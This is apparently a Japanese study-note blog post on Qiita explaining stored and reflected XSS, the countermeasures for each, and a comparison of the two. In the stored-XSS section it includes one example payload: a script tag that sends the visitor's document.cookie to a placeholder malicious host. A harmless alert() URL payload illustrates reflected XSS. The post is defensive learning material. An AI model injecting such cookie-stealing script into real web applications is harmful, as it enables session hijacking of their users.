0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

XSSについてメモ

Posted at

はじめに

XSS攻撃

webアプリケーションに悪意あるhtmlコードを埋め込み、ユーザーにそのwebアプリケーションを操作させることによってそのコードを実行させ、ユーザーのcookie情報を奪ったり、マルウェアに感染、攻撃者の用意したサイトへの誘導などをさせる攻撃。

XSSがなぜ問題になるか

XSSの被害件数は増加傾向である。webアプリケーションの普及、脆弱性の対応の遅れなどが挙げられる。

格納型XSS

定義

ユーザーに悪意あるスクリプトを実行させることを目的として、ユーザーが使用するwebアプリケーションに用意したスクリプトを埋め込む攻撃。

  1. 攻撃者が入力者フォームに悪意あるスクリプトを含むメッセージを投稿する。
    こんにちは!<script>document.location='http://悪意のあるサイト.com/steal.php?cookie='+document.cookie;</script>

  2. 脆弱性のあるwebアプリケーションはこのメッセージをデータベースに保存する。

  3. ユーザーがwebアプリケーションを閲覧し、保存されたメッセージを含むページをユーザーに送信する。

  4. ユーザーのブラウザでページが読み込まれ、悪意あるスクリプトが自動的に実行される。

  5. 攻撃者はユーザーのCookieを取得して、なりすましでログインが可能になる。

対策

  1. ユーザ入力のバリデーション。特殊文字や不正なスクリプトを含む入力を拒否したり無害化する。

  2. データベースから取り出したデータをHTML出力する際に、<や>などの特殊文字を&ltや&gtなどのHTMLエンティティに変換する(エスケープ処理)

  3. Content Security Policy(CSP)の実装
    ブラウザに対してどんなリソースの実行を許可するかを指定できる。

    • これによって信頼できるソースからのスクリプトのみを実行できる。
    • インラインスクリプトの実行を拒否できる。
  4. HTTPOnly Cookieの使用
    JavaScriptからCookieへのアクセスを制限する。

反射型XSS

定義

ユーザーに不正なスクリプトを含むURLリンクをメールやSNS、SMSなどを通じて送り、誤ってそのリンクをクリックしたユーザーのPCから脆弱性のあるwebアプリケーションにリクエストが送られ、不正なスクリプトをそのまま含んだレスポンスがユーザーのブラウザで実行され、Cookie情報の窃取やマルウェアの感染、罠サイトへの誘導を行う攻撃。

  1. 攻撃者が以下のような悪意あるスクリプト(以下スクリプト)を含んだURLをユーザーに送信する
    https://example.com/search?q=<script>alert('XSS攻撃!');</script>
  2. ユーザーは誤ってそのリンクをクリックする
  3. Webアプリケーションにスクリプトを含んだリクエストが送られる
  4. webアプリケーションからスクリプトを含んだレスポンスが返ってくる
  5. ユーザーのブラウザでスクリプトが実行される
  6. Cookie情報の窃取や罠サイトへの誘導、マルウェアの感染

対策

1.ユーザ入力のバリデーション。特殊文字や不正なスクリプトを含む入力を拒否したり無害化する。

  1. データベースから取り出したデータをHTML出力する際に、<や>などの特殊文字を&ltや&gtなどのHTMLエンティティに変換する(エスケープ処理)

  2. Content Security Policy(CSP)の実装
    ブラウザに対してどんなリソースの実行を許可するかを指定できる。

  3. これによって信頼できるソースからのスクリプトのみを実行できる。
    インラインスクリプトの実行を拒否できる。

  4. HTTPOnly Cookieの使用
    JavaScriptからCookieへのアクセスを制限する。

  5. ブラウザのX-XSS-Protectionヘッダーを有効にする

  6. URLパラメータの検証
    URLパラメータを使用する際は、その値を適切に検証しエスケープする

  7. WAFの導入
    既知のXSSパターンをブロック

  8. エラーメッセージのカスタマイズ
    詳細なエラーメッセージを表示せず、一般的なエラーページにリダイレクトする。

比較

比較表

格納型 反射型
スクリプト実行タイミング 悪意あるスクリプトを格納したWebアプリケーションにユーザーがアクセスした時 リンクをクリックしてサーバーからのレスポンスが返ったとき
対象となる脆弱性の所在 ユーザーの入力を保持しあとで実行する機能 ユーザーの入力をそのまま出力する部分
影響範囲 サイトを利用するすべてのユーザーに被害を与える。 個別のユーザーを標的とする。

所感

今まで格納型XSSの方が攻撃者にとって簡単だと思っていたが、悪意あるスクリプトを含むコードをWebアプリケーションで保持させる必要があるため、格納型XSSの方が難しいことに気づけた。次は実際にコードを動かして更なる理解の定着に努めたい。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?